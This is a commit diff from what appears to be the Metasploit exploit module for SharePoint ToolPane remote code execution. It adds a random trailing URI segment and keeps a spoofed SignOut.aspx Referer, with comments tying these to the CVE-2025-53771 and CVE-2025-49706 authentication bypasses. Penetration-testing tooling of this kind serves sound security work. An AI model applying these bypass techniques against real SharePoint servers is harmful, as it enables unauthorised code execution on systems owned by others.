Skip to content

Commit ae95d3d

Browse files
committed
add a comment to clarify what CVE-2025-53771 is
1 parent 8df7f64 commit ae95d3d

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

modules/exploits/windows/http/sharepoint_toolpane_rce.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -299,7 +299,13 @@ def send_exploit(gadget_raw)
299299

300300
send_request_cgi(
301301
'method' => 'POST',
302-
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'),
302+
'uri' => normalize_uri(
303+
target_uri.path,
304+
'_layouts',
305+
'15',
306+
'ToolPane.aspx',
307+
Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
308+
),
303309
'ctype' => 'application/x-www-form-urlencoded',
304310
'headers' => {
305311
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706

0 commit comments

Comments
 (0)